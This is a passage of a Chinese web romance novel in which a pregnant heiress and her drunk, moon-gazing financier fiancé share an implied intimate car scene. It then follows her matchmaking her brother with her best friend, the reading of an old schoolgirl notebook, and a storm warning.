这令姜绒的身体更加僵硬了,白皙的耳根通红, 想要强装淡定, 或许再拿出曾经作为话剧社女主演的专业演技来,却都不起作用。 “下次……” 陆沉渊的声音低沉沙哑, 带着刚醒的慵懒,尾音却又带着十足的蛊惑、勾人无比。 姜绒呆住了,好奇的转过脸来, 俯视着陆沉渊那张毫无缺点,轮廓深邃好看的脸。 “准你光明正大。”他说完了剩下的几个字。 姜绒的脸颊,瞬间红透。 还是被发现了!没准这人,从始至终,根本就是在装睡呢?她现在严重怀疑,这个可能性。 “陆沉渊,你在骗我吧?你是不是根本没喝醉?”姜绒忍不住了,红着脸,向他大声质问出口。 听了她的质问,陆沉渊一双好看的黑眸,却望向她,语气带着不容置疑的笃定:“喝醉?我当然不会喝醉。” 不会喝醉?意思是他真的没有醉? 姜绒看着他义正言辞的表情,以及笃定自信的语气,忍不住这样猜测。 那为什么自己婆婆,非说她儿子酒量不好,难道当妈的人,那么不了解自己的儿子,还会乱说? 然而,下一秒,陆沉渊的举动,却出乎她意料。 仍躺在她膝上的他,兀然仰脸望向了车窗外,江边云层散开后,不知何时,升起的一弯极细的银色上弦月,伸出骨节修长的手指,指了指它。 随即沉声向姜绒,有些磕磕绊绊的问了出来:“你……看到它了吗?” 姜绒顺着他的目光看去,从这个角度,只能看到窗外的月亮,于是疑惑的点了点头:“嗯,看到了,是月亮。” “错,那是资产负债表。”陆沉渊一双因为醉意,而显得格外专注的黑眸,却凝视着那道月牙,眉头微蹙,仿佛在审阅着一份出了问题的财报,很快否定了她的答案。 什么?陆沉渊这脑洞也太大了吧。 姜绒瞪大了一双鹿眼,一边看看他那张认真的脸,一边看看天上那轮弯月,严重怀疑自己是不是在地球。 陆沉渊却将骨节修长的手指,认真地在空气中虚划了一下月牙的弧线,语气严肃的朝她说道: “你看,资产端,只显示了这么一小部分。按照公允价值计量,这属于重大资产披露不充分。” 资产披露不充分?姜绒哭笑不得。 这人竟然还真的跟月亮较上真了,不仅把月亮当成一份资产负债表,还兴致勃勃的研究上了。 她逐渐明白了过来,这人才没醒酒呢,还醉得很深!并且没忘记,他审计的本职工作和金融领域的知识。 听到姜绒没有说话,陆沉渊顿了顿,似乎为这个发现感到不悦,甚至有点孩子气的咬了咬下唇,开始较起了真来:“剩下的部分呢?被谁隐匿了?还是说……” “不是啊,陆沉渊,那个是月亮!真的是月亮!” 姜绒再也忍不住了,红着脸伸出纤长的手指,一把握住了他骨节修长的手指,俯视着他那双倒映着月亮,迷离失焦,有些泛红的黑眸说道。 陆沉渊却仍不相信,一双失焦的黑眸看着她,信誓旦旦的说:“这是一次恶意做空,故意只让我看见这么一点点……” “那陆沉渊,你再看看,我是谁?”姜绒试图继续和一个醉酒的人讲道理,再度将自己凑近他,指了指自己,向他认真问道。 人,他总不能醉到不认识了吧? 然而,下一秒,陆沉渊宽大的手掌,却一把扣住了她后脑勺,径直吻上了她的唇。 “唔……” 来不及发出一声惊呼,霸道的,带着葡萄酒微甜味道,混合着他身上清冷雪松香味的吻,几乎将姜绒整个人吞噬,令她整个人止不住的发热,腿软,也如同一个溺水了的、醉酒了的人,双颊开始酡红。 呼吸纠缠之间,陆沉渊近在咫尺的眼睛里,倒映着小小的她,还有毫不掩饰的、醉醺醺的迷恋。 “你是我的……月亮。” 他沙哑的声音,在唇齿的间隙里响起,将一个又一个字,敲进她心扉里,令姜绒心跳加速,难以平复。 意识混沌之际,只能深深的记住,陆沉渊说,她是他的月亮,这一句话。 作为闪耀人群的校花,一路长大,她耀眼而瞩目,更像人群中,众人永远也移不开眼睛的太阳。 无数男生追逐着她,但更多时候是追逐着一种虚荣和面子,他们只想占有她的炽热,共享她的荣耀,却无法看到,也并不感兴趣于,她内心残缺的那部分。 然而,月亮和太阳不同。 月亮本身就是清冷的、安静的、甚至有些疏离的。它的美不在于燃烧的炽热,而在于恒久的、静谧的辉光。 这代表着,他允许她有暗淡、有缺失、有不为任何人发光的时刻。 他拥有的,是她整个阴晴圆缺的周期,包括她的沉默、她的回避、以及她的不完美。 姜绒,喜欢这句话。 不知道过了多久,陆沉渊才放开了她,然而他似乎却仍不觉得餍足,一双炙热的黑眸锁住她,目光迷离的舔了舔唇角,不忘痞气的点评了一句: “我的月亮,是甜的。” 终于得以呼吸新鲜空气的姜绒,脸上红的更加厉害,再也不敢招惹醉酒的陆沉渊。 她越发觉得,杨西让她在这里停下车来,给陆沉渊醒酒,明明就是在坑她才对。 因为被酒精催发以后,他这个人实在太危险了,简直就是在明目张胆的为非作歹,借酒行凶。 姜绒红着脸佯装镇定,尽力忽略,因为刚才那个过于激烈的吻,唇上传来的微麻刺痛感。 她双手叉腰,佯装淡定,继续低头,看向赖在她膝上,不愿意下去的陆沉渊,用训孩子一般的语气,向他讲道理: “外面风挺大的,天也黑了,你喝醉了更不安全,我现在就叫杨西回来,让他送我们回家。” 这句话,陆沉渊似乎倒挺进去了,一双好看的黑眸仰视着她,似乎是在尽力理解消化,高大的身影,有些费力的离开了她的腿,坐起了身来。 “真乖!你能听进去就最好了!”姜绒欣慰的笑了一下,朝他夸奖了一句,仿佛训犬大师,在激励狗狗一般,随即趁他不注意,立即伸手去开车门。 然而,陆沉渊并未给她这个机会。 下一秒,对方整个人自大型犬一般,高大的身影,径直从她身后贴了上来,搂住了她纤瘦的腰肢,宽大的手掌,则扣住了她压在车门上的手指,与她十指相扣。 “你……”姜绒欲哭无泪,脸颊发烫,耳根发红,想要训斥他,却什么语言也组织不出来。 陆沉渊带着酒意的灼热气息,抚过她发烫的白皙耳畔,低沉磁性的声音,如同海妖一般,断断续续的响起: “你不是很好奇……我是怎么克制自己的吗?” 姜绒身体僵了一下,瞪大了一双鹿眼,脸上瞬间红得更加厉害了。 陆沉渊是怎么知道的?自己在知道了他有性/瘾症以后,就一直惦记着这件事情。 而她确实也好奇过,得上那种病的人,到底是怎么克制自己的。 姜绒突然想起了一件令她窘迫无比的事来,自己今天早上,五点准时被生理闹钟唤醒以后。 又开始心血来潮,去查了一下这个病,并且琢磨着那些症状,在陆沉渊身上一一去对。 但问题是,她是用电脑查的!而且是用了她们陆沉渊主卧的电脑,并且忘记删除搜索记录了!这是一个很大的bug! “那你……到底是怎么……”鬼使神差的,因为太想知道这件事情的答案,姜绒还是向陆沉渊追问了出来。 毕竟,他拥有如此强大的财力,而且地位极高,是站在权力顶峰的男人。 她也曾亲眼看到了,扎堆在陆氏集团楼底下,那群想着碰碰运气,环肥燕瘦,职业身份各异的女人。 因此,尽管她一直在试图说服自己,陆沉渊和一般的男人不一样,毕竟他是自高中开始,在所有异性面前,就如同一块寒冰,冷的如同电脑人一般的存在。 但内心,还是会止不住去怀疑,并设想,在勾勾手指,就能吸引来一群鬣狗般的女人的情况下,陆沉渊到底会怎么样去解决他的需求,又会怎么去克制他的欲/望。 “从高中的时候,我就开始打针了……”陆沉渊喑哑的,带了几分醉意的低沉声线,在她耳畔响起,却令姜绒觉得惊讶无比。 从高中的时候就开始?那岂不是代表,他得上这个病症的时间极早? 怎么可能?姜绒根本不敢把高中时期,那个校服永远一尘不染,熨烫的看不出一丝褶皱,冷着一张脸,几乎谁也不理的高冷学霸陆沉渊,和这个病联系在一起。 “什么样的针?”姜绒心跳加速,忍不住向陆沉渊追问,都说酒后吐真言,这可是她最好的机会。 陆沉渊却轻叹了一口气,圈紧她腰肢,将整张脸,埋在她散发着蜜桃甜香的颈窝里,喃喃出声,迷迷糊糊的吐出了两个字:“镇定……” 姜绒大概能猜测出来,那是一种什么样的药物。 她心里对于陆沉渊的心疼,又多了几分。 因为她深切的知晓,陆竞深和黎婉矜,对于自己身为集团继承人的儿子,有着多么极端而变态的高标准,严要求。 而他却得上了这样的病症,他必然不会和父母说,必然要兀自扛过一切。 然而,姜绒更想知道,他为何高中时期开始,就会得上这么一个病,激发的缘由到底是什么? 然而,未等她将这个问题,向他问出口。 下一秒,陆沉渊醉意熏陶的狭长黑眸,微微上扬,低沉喑哑的声音里,带了几分痞气的笑意,骨节修长的宽大手指,顺着她衣裙往下延伸。 令在他面前,感官总是无比敏锐的姜绒,瞬间瞪大了一双鹿眼,涨红了一整张小脸,完全无法置信: “其实,还有一种办法,想要我教你吗?” 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,我更的就越多越快,你们就是鹿鹿的动力啊! (让我康康你们的双手!)[亲亲][亲亲][撒花][撒花] 第50章 第五十章 人菜瘾大耐力差 “什么方法?”姜绒涨红着一张脸, 向陆沉渊反问,事实上因为hsdd的缘故,在遇见他之前, 她对任何这些方面的事情,都不感兴趣。 因此, 确实可以算得上,只是一张浅薄无比的纸。 陆沉渊并没有回答她的话,但用他的行动, 亲自教会了她, 那是什么方法。 细碎的呜咽里, 姜绒按在车窗玻璃上, 泛白的纤长手指, 紧紧攥住, 陆沉渊压在她白皙手背上, 剩下的那只,与她五指相扣的,骨节修长,指腹宽大,修得极其干净的手。 如同灵巧的蛇, 找上来时,能精准无误, 到达所有点面。 姜绒再一次体会到了, 巨大的体型差,到底意味着什么。 而她耐力完全不足, 实在太短,仅仅只有三分钟。 车窗外反光镜里的月亮,碎了一地, 倒映在高级皮革沙发椅上的水渍里。 当林西站在江边,抽完了一盒烟,又拿出随身携带的除味喷雾,细细去掉西装上的味道后,这才亦步亦趋,慢悠悠的回到了那辆黑色宾利前,打开车门上了车。 “哎呀,陆总,您酒醒了?看起来是好了不少。”林西语带惊讶,一边缓缓启动车辆,一边看向后视镜里,情况完全被调反过来了的那一对。 喝醉了的陆沉渊,身穿白衬衫,高大的身影好端端的坐在宽敞的后座上,而姜绒纤细的身影,却盖着他宽大的黑色西装外套,头侧趴在陆沉渊膝盖上,在皮革椅上躺着。 “嗯”对方冷冷回答了他一句,林西却敏锐的注意到了,他身上穿的白衬衫,一边规整的袖子上,不仅袖口开了,而且还湿了一大块。 知道陆沉渊有严重的洁癖,林西忙不迭的从前座拿来了纸巾,向后递去,帮助他清理:“啊呀,陆总,您这是刚才,一不小心吐衣服上了吧,快擦一擦。” 听到他这句话,整张脸埋在陆沉渊身上,整个人躺在他带着雪松味道,宽大西装外套底下的姜绒,白皙小脸,却瞬间涨得绯红一片,又往他怀里缩了缩。 陆沉渊却并没有去接,那双逐渐恢复了清明与理智的眸子,反而冷冷看了他一眼:“不必管那么多,赶紧回去吧。” “哦,好的。”林西收到了命令,赶紧应了下来。 回到云顶天阙以后,正式成为了备婚的准夫妻,两人的同居生活,也名正言顺的展开了。 双方家长一起挑选了一个,她们去复婚领证的吉日,时间就定在下个月。 她们也尊重了姜绒,孕期只想拍孕妇照,产后再拍美美的婚纱照,并举办盛大婚礼的意见。 陆竞深和黎婉矜送的大礼,以及自家父母送出的大礼,也一一被落实了。 姜绒这一次,也大大方方的,和苏女士一起整理了自己留在家里的个人物品,和父亲一起,坐上了陆沉渊安排的车,将它们带去了自己的新家。 而亲手戴上,婆家送的,那几副价值上亿的古董级别珠宝以后,姜绒还是忍不住,精心搭配上一袭红色丝绸晚礼服以后,如同以前晒新得的包包一般,在朋友圈里晒了张长睫轻垂的自拍: 【属于我的新宝贝。】 这一次,评论比以前还要多,很快炸开了锅,识货的人还真不少,她许多朋友,乃至大学同学,高中同学纷纷在底下留言: 有感叹不止的:【姜大美女,这不是某某国的王室,某位过世王妃曾经戴过的项链吗?这价格是根本不敢想象的天文数字啊!你这是从哪儿弄来的呀?】 也有惊艳于她颜值的高中同学:【姜校花,你怎么还是那么好看!你这张脸,看起来比高中的时候,甚至还要更嫩了!更美了!到底是怎么做到的?这条裙子和珠宝也是绝配!求同款!】 更有求生意经的:【姜大老板,你这是富上加富了?艺术馆生意这么赚钱吗?可以投资入股吗?最近我正在找新的门路呢,求带!】 而看到她照片的林晚,再也忍不住,在底下一连留下了三条重复的评论,试探她道:【某人送的吧?上次带你躲狗仔队那位?】 姜绒开心极了,伸出纤长的手指,一连回了好几条评论,直到看到林晚那几条。 顿觉心虚的她,红着脸放下手机,思索了十几秒以后,才立即使出了转移视线大法,回复林晚道: 【先别说我了,搞定你家那位才是大事,他巡演明天就结束了,要不要我搭个桥,你俩当面“交易”布布?】 林晚的微信回复极快,只有简单的一个字:【要!】 自从上一次,姜绒深刻知晓了陆沉渊的手上功夫,确实厉害,且博大无比,姜绒确实也不再,对他的病有任何顾虑与怀疑了。 只是莫名的,她有些食髓知味了,总爱盯着陆沉渊那双过于好看的,骨节修长的手指看。 明明,他仅仅只是戴着不同简单款式的黑色劳力士手表,或是拿着泛了金属光泽的钢笔,亦或是指尖敲打在银灰色的笔记本电脑键盘上,处理集团或事务所的事。 却总会令她,脑子里多了许多不该有的东西。 姜绒甚至开始回想,当年高中时,自己看着他作为示范生,坐在讲台上,拿起手术刀,一丝不苟的解剖实验小白鼠时。 那时自己,为何只看到了他的冷酷与残忍,却一点都未曾注意到,那双理智之下的手,到底有多么好看,多么灵巧且精深。 于是,在工作之余,和姜绒同处一室的陆沉渊,经常会有一个不大不小的任务,这任务有时候是一次完成,有时候得好几次。 这任务说难也不难,但必须得在保证对方以及肚子里的孩子,绝对安全的前提下,将度把握的恰到好处。 而彻底被他打开了新世界大门的那个人,却对此乐此不疲,人菜瘾大耐力差,而且一点也不感到厌倦。 陆氏集团大厦,顶层总裁办公室内,前来汇报一项重要工作的杨西,拿着手里的资料,才走进门,就发现自家总裁,已经在盖上签字钢笔的笔帽,准备下班了。 他不由在心里感叹了一声,不愧是有家室,准备结婚的人了,谁能想到整栋大楼里,如今下班最积极的,是总裁本人呢? 要知道,曾经的陆沉渊,可是光靠咖啡续命,就可以在总裁办公室里,冷着脸,亲自仔细审阅他们经手的每一份文件和报表,连续待上24小时的铁人,折磨得几乎所有人,都养成了站着就能睡着的习惯。 而在看到他走进门来时,陆沉渊疑惑的看了他一眼:“还有什么紧急文件要处理吗?” 杨西忙把手里的资料递给了他:“陆总,这是一年一度,在纽约举行的世界金融达沃斯峰会,今年不同,您将作为金融界年度顶级代表人物出场。” “为期一周,明天您将乘坐您的私人专机出行,秘书已经安排好了一切出差事宜。” 陆沉渊点了点头,表情有些微妙,将那张安排表接了过去,仔细查阅。 看来陆夫人的魅力,实在是够大,竟然令自家总裁,连一年一度的金融峰会,这么大的事,都没放在心上。 杨西忍不住在心里这样想,然而当他视线往下,低头的瞬间,他却发现了,自家总裁身上,多了一个极其不寻常的东西。 可以说,他从来没有见过。 只见,陆沉渊冷白忻长的右手手腕上,兀然贴了一圈棕黄色的膏药贴,淡淡的药味,还能闻到。 “陆总,您这是,工作操劳过度,手腕使用过度了吗?一定要保重身体啊!”于是,杨西语气惊讶,向自家总裁,径直关切的问出了口。 显然没有料到,他观察力,如此细察入微,陆沉渊的语气里多了一丝不自然:“咳,不碍事,腱鞘炎而已。” 腱鞘炎?杨西脸上的表情,更加惊讶了,他疑惑的挠了挠头。 这段时间,在他印象里,他没看到下班比谁都积极的陆沉渊,签多少份文件啊,最多不超过二十份。 就这样的强度,竟然都能将他累到腱鞘炎了?实在令他觉得匪夷所思。 “杨西,出差期间的重要安排有哪些?”陆沉渊不动神色的转移了话题,表情严肃的朝他问道。 杨西赶忙站直了身体,认真回答他道: “Day1,接受《华尔街日报》、《纽约金融时报》的深度专访,为本次演讲定调。” “Day2,与美联储前主席、彼得森国际经济研究所所长等元老举行私人晚宴,探讨金融政策新风向。” “Day3,战略落地与联盟巩固,拜访两家具有系统重要性的华尔街巨头总部,进行战略对话等……” 听他有条不紊的汇报了所有安排以后,陆沉渊赞许的点了点头,薄唇轻启。 给出了一个令杨西梦寐以求,高兴得差点令他原地起跳的机会:“这次,你和我一起去,做我的副发言人。” 第二天早上九点,悠悠醒转来的姜绒,睁开眼睛,伸了个懒腰,向右边看去,床上的位置果然已经空了。 虽然陆沉渊昨晚一回来,就和她说了,从今天开始,他需要坐私人飞机飞纽约出差,参加为期一周,一年一度的金融峰会。 并且对方还将她作为五个月孕妇的,一切的注意事项,事无巨细的叮嘱了她,恨不得直接打成条款,一条条读给她听。 但习惯了与陆沉渊同床共枕,习惯了他躺在自己身边,骤然看到空了的床铺,姜绒还是会觉得心情有些略微失落的。 而当她扶着有了些重量的肚子,坐起身来,准备命早已等候在外的女佣,进来伺候她洗漱时。 姜绒却兀然看到了自己身下,那张凌乱不堪的顶级蚕丝床单。 她白皙的小脸一红,瞬间回想起了,自己仗着在咨询了私人医生,目前是她孕期最稳,最适宜的月份时,她就缠着陆沉渊,任性至极。 毕竟,虽说他一只手都腱鞘炎了,但另一只手还好着不是。 而陆沉渊一向宠她,自然不觉间,什么都用上后,又是一个不眠之夜。 这就是,为何生理性闹钟会准时五点叫醒自己的她,和陆沉渊睡觉时,却总会起得很晚,睡得很沉的缘故。 姜绒下了床,站起身来以后,红着脸伸手,迅速扯掉了那张床单,揉成一团,扔在了大理石地板上,这才令佣人们进了房。 下午,当司机将她送到,她早已预约好,隐私性极强会员制的餐厅。 穿着舒适平底鞋的姜绒,在侍应生的带领下,走进了私人包间内,一个身影出乎意料,比她来的还要准时。 正是一头狼尾短发,身穿黑色皮夹克,看起来痞帅不羁的她哥—姜曜。 “哟,为了见晚晚,大明星,这次来的可够早啊!”姜绒在座位上坐下来后,忙不迭的调侃了他哥一句。 一向厚脸皮的姜曜,脸上兀然也多了一丝不自然:“说什么呢?本大爷只是刚好顺路而已,而且我是为了布布!” “行,为了布布。”姜绒不跟他争,顺着他话,笑着说道。 姜曜却兀然神秘兮兮的,把一个盒子递到了姜绒手上:“诺,送你和陆沉渊的新婚礼物。” 见到自家哥哥这么贴心,因为巡演错过了她订婚宴,家人见面的机会,竟然还知道补送礼物给自己,姜绒心里乐开了花。 然而,当她低头看向那个盒子,明白了那是一套包装精美,英译中的书,赫然看清书上的标题时,她却差点炸了毛——《夫妻亲密舞谱——从和谐共鸣到节拍与共!》 很显然,这是一本研究某个方面的书。 “你疯了吧?送我这种书干什么?”姜绒涨红着脸,向姜曜问道,根本想象不到,这人在国外巡演时,是怎么挤出时间,抽空去买了这套书,倒还真是令他煞费苦心。 姜曜脸上的表情却十分认真,语气有些含辛茹苦:“绒绒,哥也是为了你的幸福考虑。听哥的,你那个病那么严重,和他找到和谐,是你们婚姻里重中之重的事。” “真是,你别瞎操心了!” 无法告诉她哥,当初是自己因为抑制不住的生理性喜欢,而主动扑倒了陆沉渊,才有了腹中的孩子,也无法告诉他,陆沉渊是唯一一个,不仅不会引发她hsdd,甚至还会反向激发她的异性对象。 姜绒只得鼓起腮帮子,将那套书收了下来,放在了脚边的桌子底下,以免被其他人看到。 “汪汪!”此时,门外却响起了一阵清晰至极的狗吠声,伴随着人的惊呼声。 包厢的房门,被布布撞开了,身后跟着一个身穿白色长裙与高跟鞋,化了韩式淡妆,没戴眼镜,看起来清纯无比的林晚。 只是不知道,到底是人遛狗,还是狗遛人。 “可以啊,晚,你今天很上道啊!”姜绒见到自己没有专门提醒,林晚竟然也精心打扮,化了妆前来,与她平时的样子,反差极大,不禁朝她夸赞出声。 姜曜的目光,亦停留在林晚身上,多了好几秒。 “不行,这狗我牵不住!” 然而,下一秒,姜绒就看着,再次惊呼出声的林晚,在她们面前,被兴奋的布布围着桌子遛了一圈后,初次驾驭纤细高跟鞋失败,磕到椅脚,整个人失去平衡,径直向地上扑去了。 “小心,晚晚!”姜绒站起身来,想要伸手去拉她。 有个人的动作,却比自己还要快,正是坐在她身旁的她哥,姜曜。 对方迅速站起身来,伸出了有力的胳膊,一把揽住了林晚纤细的腰身,及时阻止了,一场狼狈灾难的发生。 林晚彻底愣住了,一张脸涨得通红,不敢置信的望着离她极尽的姜曜。 两人就以这样的姿势,抱在一起,对视了好几秒钟。 直到在一旁嗑糖的姜绒,发出的惊叹声,将他们唤醒:“你们这是在演韩剧吗?太浪漫了吧!” “我举双手和双脚,赞成这门亲事!” 姜曜松开林晚,耳根泛红,没好气的白了姜绒一眼:“闭嘴。” 整张脸涨得像红苹果的林晚,则一脸尴尬的坐在了姜绒的另一侧,不忘低头假装去捡狗绳。 于是,在这样暧昧的气氛里,活跃异常的姜绒,两边递话和搭话,主持完了她们俩的布布交接仪式,并且让他们自己约了下次见面的时间。 此时,热闹的包厢里,一则在豪华的巨幕影墙上,突然插播的紧急播报,却瞬间引起了所有人的注意: 【凛川市极端天气应急指挥部】发布最高等级“红暴”预警。 “受超强对流系统“玄冥”与季风低压罕见叠加影响,预计未来三日内,凛川市将遭遇百年未遇的持续性极端暴雨天气!” 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,我更的就越多越快,你们就是鹿鹿的动力啊! (让我康康你们的双手在哪里!卖萌求评论)[亲亲][亲亲][求你了][求你了]《 》 50-59 第51章 第五十一章 惊人的发现。 “红暴?这么突然吗?”林晚望着电视屏幕上那则消息, 感叹了一句。 姜曜却立即转头望向自己妹妹,叮嘱出口:“你是孕妇,这几天千万别出门, 注意安全。我妹夫会陪你吧?” “咳……他当然会。”姜绒抚了抚鬓边的发丝,习惯性的撒了个小谎。 她不想让任何人为自己担心, 尤其是自己的家人。 其实,陆沉渊在昨晚,也认真问过她的意见, 毕竟她是孕中期的孕妇, 他并不放心让她一个人待在家里, 但同时, 孕期的她也没办法乘坐他的私人飞机, 和他一同去往纽约。 是姜绒握住他宽大手掌, 告诉他, 自己会照顾好自己,让他放宽了心,强烈支持他去。 达沃斯峰会,在国外时,她亦有所耳闻, 是一年一度的金融界盛会,是结交商业伙伴与人脉, 并且集团进行战略投资与扩张的极佳机会。 而陆沉渊作为这场峰会的发言人, 以及今年金融界年度领军人物的身份,无论是为了陆氏集团, 还是为了他自己,他都非去不可。 因此,姜绒非常理解他去出差的理由。 更不必提, 在国外独立生活了那么多年,事实上她早已经习惯了,自己去独立解决,生活中遇到的任何问题。 “你妹夫是谁呀?”林晚听到这句话,却一副被我抓到了吧的表情,立即向姜曜追问了出来。 姜曜说话从来不经过大脑思考,无视了自己妹妹抛来的好几个眼神暗示,丝毫不加掩饰的告诉了她:“陆沉渊呀。” “我就知道是他,终于让我逮到了吧!姜绒,你对我,嘴里可没一句实话!赶紧告诉我,你们俩私底下,是怎么暗度陈仓,偷偷搞到一块去的?” “当初你和他假结婚,离婚的时候,可是口口声声跟我说,你非常讨厌他,怎么现在又喜欢上他了?” 林晚情绪极其激动,立即转头看向自己闺蜜,大声向姜绒质问出口。 姜绒白皙的小脸绯红,捧着手里的碗埋头吃饭,在两道充满八卦与探究欲的眼神压迫之下,假装自己耳聋,什么也听不见。 见她进入了自己熟悉的滚刀肉模式,不甘被她欺骗了这么久的林晚,一不做二不休,将自己的挎包打开,从里面掏出了一个自己今天随身携带的,毛绒绒的少女粉笔记本。 姜绒疑惑的看着她,起初还不明白,林晚这是什么意思,突然掏出个本子来,难道是为了在上面画个圈圈来诅咒自己,还是写坏话来骂她? 然而,随着林晚清了清嗓子,捧着本子面向她,看着上面的内容,装模作样的读出了几条以后。 姜绒才逐渐明白了过来,这不是高一的时候,她和林晚专门弄的,她们两专属的自习课闲聊本吗?: “晚晚,陆沉渊那人是不是有病啊?还是他的机器脑又故障了?竟然没收我作业,弄得咱们老班,还以为我故意不做数学作业呢!” “怒火冲天表情包——晚,气死我了!陆沉渊那神经病,今天发作业,直接往我脸上发,我妆都花了!这可是我为了运动会特意化的啊,我可不可以雇人暗鲨他呀?” “吓死我了,我刚才竟然被周晓晓拉着,去看了一场陆沉渊的击剑比赛,他肯定以为我是他迷妹,丢脸死了!囧!” “好无语啊,晚。我刚才问陆沉渊,能不能抄一下他数学作业,你知道他有多奇葩吗?直接在他作业本上画了个红叉给我看!” “……” 姜绒再也听不下去,涨红着脸站起了身来,就要去抢林晚手里的本子:“你疯了吧?你怎么随身带着这玩意,快给我!” “是我今天整理房间的时候,偶然找到的。” “反正你今天必须得告诉我,你为什么喜欢上了陆沉渊。不然的话,我就把你高中时候,对我说的,每一句关于他的吐槽,都一五一十的拍下来发给他看!” 林晚自然不愿给她,笑得差点岔气,一边挡着姜绒抢,一边还不忘威胁她道。 姜绒自然知道,这件事非同小可,要是真让她拍给陆沉渊看了,作为他的新婚妻子,自己岂不是,颜面荡然无存。 于是,她只得坐了下来,红着脸答应了下来:“好吧,好吧,我说。” “我也想八卦一下了,快说吧。”坐在一旁,怡然自得的磕着瓜子,看着她们两闹了一出好戏的姜曜,眼神里的兴趣也极其浓厚。 姜绒看他俩这副模样,无语至极,白皙的小脸越发红的厉害。 林晚看她这副模样,却更加来劲了,催促她道:“是啊,你应该不会,只是馋他身子吧?快给我老实交代!” 姜绒白皙的耳根发烫,这一次却没有调侃,反而一字一句,认真的说出了口: “或许就是因为,我和他完全不一样吧。” 她和陆沉渊确实不一样,就像来自于两个星球的人。无论是思考方式,还是为人处事,以及生活方式,都大相径庭。 这也是高中时,她真情实感的讨厌着他,抵触着他的原因所在。 但也正是这种天差地别,在他们假结婚,再度重逢以后,使得他对自己具有吸引力。 更不必提,姜绒确实难以解释,自己对于这个以前从未主动接近过的人,竟然会产生如此强烈的生理性喜欢。 此后,她也曾经有去查过相关的资料,或是上网浏览别人同样荒诞奇怪的经历。 后来,一切的一切,都指向了一句:生理性喜欢不靠脑,是完全没有道理可言的。 但与陆沉渊相处的越久,她也越发感觉到了,自己对他的喜欢,绝不仅仅只是出自于生理性喜欢。 “再说具体点呗,然后呢?”林晚显然也不满足于只听到这样的答案,继续向姜绒追问。 姜绒一字一顿的回答,唇角却不自觉的,因为想起陆沉渊时,内心涌现出的温暖而上扬:“他明明特别怕狗,但是在狗咖的时候,他宁愿自己被狗咬,也要护住我。” “他明明很不喜欢被拍照,但是在艺术馆里,他冲进狗仔队里,在闪光灯下把我带走。他对做饭不感兴趣,但他竟然买了烹饪书,要亲手做饭给我吃……” “还有,他那副看起来电脑人,没有人情味的样子,其实并不是他的错,是他父母对他的教育方式从小就有问题,过于冷血和残酷。” 林晚听到她的回答,同样笑出了声来,忍不住调侃了她一句:“果然啊,成了你老公就是不一样,句句都在维护他,哪怕是他的缺点,也成了你喜欢他的点咯?” “怪不得。姜绒,你不觉得你高中的时候,就很奇怪吗?明明你那么讨厌这个人,却还总是那么关注他。” “别乱说了!”姜绒红着脸,懒得理她,却趁机出手,陈林晚不备,一把夺过了她手里那本,记录了自己高中时期,满满黑历史的粉色笔记本。 她就不信,自己翻不到林晚的黑历史。 于是在林晚为了在她哥面前保持形象,故作矜持。没有回击她的情况下,迅速的翻阅着这一整个笔记本。 翻到了页尾时,姜绒瞳孔骤然放大,还真被她找着了!只见笔记本的页缝里,赫然写着jiang yao,这两个字的拼音,下面还有一句诗—偏我来时不。 这字迹显然是属于林晚的。 姜绒立即将自己找到的铁证,展示在了林晚面前:“哈,我找到了吧!你看看你写的,真隐秘啊,这是谁的名字啊?还有,谁令你偏我来时不了?” 话一出口,她很快感觉到了,一道视线,正仔细停留在她手里的笔记本上,正是她哥。 “你快给我。”林晚整张脸瞬间涨得绯红,迅速站起了身来,也不再保持什么淑女形象了,一把将那笔记本抢了过来,塞回了自己包里。 看着她仓皇失措的模样,姜曜却似乎觉得有些有趣,痞里痞气的勾了勾唇,视线没有离开过她。 “嘿嘿,某些人啊,还想制裁我,小心被我制裁哟~我就不当电灯泡了,你俩慢慢吃吧。” 姜绒自然能够察觉到,气氛已经变得不对了,站起身来,拿上自己的包,利落的留下一句话,留下了包厢里独处的空间,给姜曜和林晚。 而当司机将她送回云顶天阙时,她却没有预料到,竟然还有惊喜在等着自己。 “这些是?”看着身穿工作服的佣人们,将一个个包装严密的黑色匣子,搬下车,往屋内送,姜绒好奇的向管家老陈问出了口。 或许是陆沉渊授意,云顶天阙的佣人们,对她的称呼不知不觉间,都已经改了口,老陈毕恭毕敬的回答她道: “陆夫人,这是陆总专门为您,从纽约时装周上,购买回来的礼物,有高定珠宝、腕表,以及皮草,皮包,成衣等等,都是经由陆总的私人飞机专运,今天下午才运达的。” 姜绒脸上的笑容早已掩饰不住,某人出个差。自己竟然还有礼物收,陆沉渊倒是惯会收买人心的,尤其是就吃这一套的她。 她伸出纤长的手指,随意打开摊开的匣子里,一个丝绒面料的首饰盒来,里面钻石璀璨的宝格丽标志性蛇型珠宝项链,便已经闪烁在了她面前。 而她视线所及之处的包装盒上,顶奢品牌都能见到,无论是LV、爱马仕、还是香奈儿,江诗丹顿等。 最令姜绒满意的,是一整套刻有她名字的,完整的 「Haute à Courroies」定制收藏,从皮包、旅行箱、马术装备到家居用品,都采用了同一种稀有的皮革湾鳄,以及同一种颜色,明媚张扬的红色。 这显然也是陆沉渊取悦她的一个特别小惊喜。 “你们应该都知道,这两天凛川就会有红暴吧?别墅的防雨工作,做的怎么样了?”看完那些东西,姜绒没有忘记这件重要的事来,向老陈问道。 老陈表情沉稳,回答她道:“夫人不必担心,陆总雇佣了专门的防灾顾问,早已定期进行过极端天气演练了。” “别墅的气象数据亦会直连私人气象团队,暴雨预警达到阈值时,别墅的智控系统,会自动开启防水闸、启动抽水设备、调整室内气压。” “另外,配备了快艇、水上救援设备的24小时安保团队,就在附近待命,随时保证您的安全。别墅的地下室,也储备了充足的高能量食品、饮用水、药品,可以满足数月的需求。” 姜绒听到如此专业的配套措施,还是愣了一下,看来还是自己小看了陆沉渊,以他的身家,拥有最顶级的防灾系统,只是一件稀松平常的事。 “那就好,那熵呢?怎么办?”她点了点头,放下了心来,却又想到了陆沉渊那只宠物蜥蜴来,她可不放心,就这样把它放在客厅里。 老陈表情也有些犯难,显然陆沉渊没有吩咐过他们,这只蜥蜴怎么处理。 “放卧室里去吧,准备好它的餐食那些,我来看着它。”姜绒吩咐了下去。 老陈赶忙点了点头,回答她道:“好。” 当那只红色鬃狮蜥,连同恒温设备一起,被管家亲自送到卧室里时,姜绒正躺在偌大的床上,捧着手机发呆。 她和陆沉渊的对话还停滞在昨天,陆沉渊发给她的最后一则消息上:【晚安,宝宝。】 